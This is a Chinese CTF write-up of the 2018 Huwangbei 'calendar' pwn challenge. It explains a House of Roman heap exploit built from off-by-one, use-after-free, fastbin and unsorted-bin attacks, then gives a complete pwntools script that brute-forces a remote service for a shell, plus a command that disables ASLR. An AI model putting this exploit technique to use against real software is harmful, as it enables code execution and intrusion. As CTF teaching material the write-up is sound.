2018护网杯calendar详析

阅读量    78291 | 评论 14   稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

护网杯结束也有一段时间了(被虐惨了。。),各位大佬战队的WP也相继出炉,不过部分题目的WP不够详细,对于刚入门的萌新来说可能会有点难看懂。今天有空就来写下pwn题calendar的wp,也刚好做个笔记吧(轻喷)。讲到这题,很遗憾,我是赛后才复现出来的,因为当时有各种细节没处理好,而且远程爆破也是讲究玄学的,这也许就是这道题目值800分所在吧。

 

解题思路

其实这题最坑的就是没办法泄露出libc,要利用house of Roman爆破12 bit来getshell。首先fastbin attack使得malloc hook可以任意写,修复fastbin后利用unsorted bin attack使malloc hook指向main_arena+88的地方,最后利用uaf部分地址写把one_gadget的低三字节写入malloc hook,本地调试的时候可以把ASLR关了,接着就剩玄学的远程爆破了。

 

解题步骤

1、先简单运行一下程序,查看保护。

这里主要开启了canary和nx保护,不能改写got表

2、ida打开,反编译。

1、这里主要有add(),edit()和remove()函数,并没有可以泄露的show()函数

2、edit()里面有个offbyone漏洞,还有一个关键的地方就是,可以edit空闲的chunk

3、remove()里面free后没有置0,有个uaf漏洞

3、本地调试

1、先把堆栈随机化关了

echo 0 > /proc/sys/kernel/randomize_va_space

2、找出libc和它的基地址

p.recvuntil('input calendar name> ')

p.sendline('123')
add(1,0x68)
gdb.attach(p)

malloc hook地址为0x7ffff7dd1b10 ,所以基地址为0x7ffff7a0d000

4、fastbin attack

1、因为没有show(),所以只能利用uaf改fastbin chunk的fd指针。先申请3个0x70,由于add()里只能输入最大是0x68,所以利用edit的offbyone漏洞改chunk2的size,然后再free进入unsorted bin。

add(1,0x68)
#gdb.attach(p)
add(2,0x68)
add(3,0x60)
edit(3,0x60,p64(0)*2+p64(0x90)+p64(0x51)+'n')
edit(1,0x68,'a'*0x68+chr(0x91))

dele(2)

2、edit把size改回,再free两个chunk,利用edit和UAF部分写改chunk3的fd为上面free掉的unsorted bin中的chunk2,这样fastbin—>chunk3—>chunk2—>main_arena+88,接着把chunk2的fd改成malloc hook-0x13。

edit(1,0x68,'a'*0x68+chr(0x71))
dele(1)
dele(3)
edit(3,1,chr(0x70)+chr(0x70))

edit(2,1,chr(0xfd)+chr(0x1a))

3、申请3个块,chunk3就被分配到了malloc hook-0x13的地方,到时候把malloc hook改成one_gadget就行,接着free掉chunk4进入fastbin,edit把它的fd指针改成0,修复fastbin(如果不修复无法进行下面的unsorted bin attack)

add(1,0x60)
add(4,0x60)
add(3,0x60)
dele(4)
edit(4,7,p64(0))

5、unsorted bin attack

由上面的图可以看出,fastbin和unsorted bin都指向同一个块,这时我们就可以申请chunk1就可以改unsorted bin的bk指针为malloc hook-0x10,再申请一个0x60的时候块的时候malloc hook就会指向main_arena+88

add(1,0x60)        
edit(1,9,p64(0)+chr(0x00)+chr(0x1b))    
add(1,0x60)

6、改malloc hook为one_gadget

这时候我们edit chunk3就可以改malloc hook的低3字节为one_gadget,有些one_gadget会失败,这时选一个合适的one_gadget就行。

one=0xf66f0
#one = 0xcd0f3
#one = 0x4526a
#one = 0xf02a4
one_gadget =libcbase+one
edit(3,5,'aaa'+p64(one_gadget)[0:3])

7、触发one_gadget

free掉同一个chunk由于double free会报错,这时会调用malloc hook触发one_gadget

dele(4)
dele(4)

8、远程爆破

这时候再写个远程爆破的脚本就可以进行远程爆破。

for i in range(10000):
    #p=process('./task_calendar')
    p = remote('117.78.40.144', 31274)
    try:
        exp()

        break;
    except:
        print i

p.interactive()

 

小结(心得体会)

做题目不仅要会做,而且要细心审代码,当时我做这题的时候就是因为不够细心,那个offbyone漏洞一开始我竟然没注意。。所以做不出来,后面他提示了house of Roman后我重新审代码才发现的。总之好好学吧,成为大佬还有很长的路要走。。

 

完整exp

from pwn import*

context(arch="amd64",os="linux" ,endian = 'little')

elf=ELF('task_calendar')
libc=ELF('libc6_2.23-0ubuntu10_amd64.so')
def add(id,leng):
    p.recvuntil('choice> ')
    p.sendline('1')
    p.recvuntil('choice> ')
    p.sendline(str(id))
    p.recvuntil('size> ')
    p.sendline(str(leng))



def edit(id,size,x):
    p.recvuntil('choice> ')
    p.sendline('2')
    p.recvuntil('choice> ')
    p.sendline(str(id))
    p.recvuntil('size> ')
    p.sendline(str(size))
    p.recvuntil('info> ')
    p.send(x)

def dele(id):
    p.recvuntil('choice> ')
    p.sendline('3')
    p.recvuntil('choice> ')
    p.sendline(str(id))

def exp():


    p.recvuntil('input calendar name> ')

    p.sendline('123')
    #print hex(libc.symbols['__malloc_hook'])
    libcbase=0x7ffff7a0d000
    #########fastbin attack###########
    add(1,0x68)
    #gdb.attach(p)
    add(2,0x68)
    add(3,0x60)
    edit(3,0x60,p64(0)*2+p64(0x90)+p64(0x51)+'n')


    edit(1,0x68,'a'*0x68+chr(0x91))

    dele(2)

    edit(1,0x68,'a'*0x68+chr(0x71))
    dele(1)
    dele(3)
    edit(3,1,chr(0x70)+chr(0x70))

    edit(2,1,chr(0xfd)+chr(0x1a))
    #gdb.attach(p)
    add(1,0x60)
    #
    add(4,0x60)

    add(3,0x60)
    dele(4)
    edit(4,7,p64(0))
    #####unsorted bin attack##########
    add(1,0x60)

    edit(1,9,p64(0)+chr(0x00)+chr(0x1b))

    add(1,0x60)



    one=0xf66f0
    #one = 0xcd0f3
    #one = 0x4526a
    #one = 0xf02a4
    one_gadget =libcbase+one
    edit(3,5,'aaa'+p64(one_gadget)[0:3])

    #add(3,0x60)

    dele(4)
    dele(4)


    #p.sendline('cat haixiao.txt')
    p.sendline('cat flag')



for i in range(10000):
    #p=process('./task_calendar')
    p = remote('117.78.40.144', 31274)
    try:
        exp()


        break;

    except:
        print i

p.interactive()
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多